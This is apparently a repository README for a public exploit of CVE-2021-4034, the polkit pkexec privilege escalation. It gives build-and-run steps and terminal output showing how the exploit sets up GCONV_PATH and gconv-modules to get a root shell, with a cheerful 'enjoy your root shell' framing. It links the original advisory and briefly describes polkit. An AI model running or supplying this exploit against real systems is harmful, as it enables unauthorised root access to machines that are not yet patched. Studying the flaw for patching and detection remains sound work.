39 lines
1.4 KiB
Markdown
39 lines
1.4 KiB
Markdown
# CVE-2021-4034
|
|
One day for the polkit privilege escalation exploit
|
|
|
|
Just execute `make`, `./cve-2021-4034` and enjoy your root shell.
|
|
|
|
The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
|
|
|
|
## PoC
|
|
If the exploit is working you'll get a root shell immediately:
|
|
|
|
```bash
|
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
|
|
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
|
|
cc -Wall cve-2021-4034.c -o cve-2021-4034
|
|
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
|
|
mkdir -p GCONV_PATH=.
|
|
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
|
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
|
|
# whoami
|
|
root
|
|
# exit
|
|
```
|
|
|
|
Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
|
|
```bash
|
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
|
|
pkexec --version |
|
|
--help |
|
|
--disable-internal-agent |
|
|
[--user username] PROGRAM [ARGUMENTS...]
|
|
|
|
See the pkexec manual page for more details.
|
|
vagrant@ubuntu-impish:~/CVE-2021-4034$
|
|
```
|
|
|
|
## About Polkit pkexec for Linux
|
|
|
|
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
|